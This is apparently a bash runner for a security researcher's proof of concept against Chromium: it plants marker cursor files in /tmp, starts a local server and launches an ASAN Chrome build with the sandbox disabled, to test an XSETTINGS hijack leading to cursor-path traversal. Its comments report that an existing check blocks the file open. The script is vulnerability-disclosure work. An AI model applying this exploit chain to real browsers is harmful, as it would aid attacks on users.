#!/bin/bash
# POC runner: GPU→browser XSETTINGS hijack → XCursorLoader path traversal.
# Requires: ASAN chrome built with chromium-changes.patch applied; an X11
# display in $DISPLAY.
set -u

ARTIFACTS="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PORT="${PORT:-8080}"
PROFILE=/tmp/chrome-poc-profile
LOG=/tmp/poc-run.log

# Plant the file the browser will reach via path traversal so its size can be
# observed in the log (open() is blocked by base::ReadFileToString's
# ReferencesParent() check; see README "Mitigation found").
mkdir -p /tmp/poc-cursor-evil/cursors
for n in left_ptr default pointer hand hand2 text xterm crosshair; do
  printf 'POC-PLANTED-CURSOR-FILE-OUTSIDE-ICON-DIRS' \
    > "/tmp/poc-cursor-evil/cursors/$n"
done

rm -rf "$PROFILE"
python3 "$ARTIFACTS/server.py" "$PORT" &
SRV=$!
trap 'kill $SRV 2>/dev/null' EXIT
sleep 1

timeout 30 "$CHROME" \
  --no-sandbox \
  --no-first-run --no-default-browser-check \
  --disable-popup-blocking \
  --user-data-dir="$PROFILE" \
  --ozone-platform=x11 \
  --enable-logging=stderr --v=0 \
  "http://127.0.0.1:$PORT/poc.html" 2>&1 | tee "$LOG" \
  | grep -E 'POC\[|Gdk-WARNING.*XSETTINGS'

echo
echo "Full log: $LOG"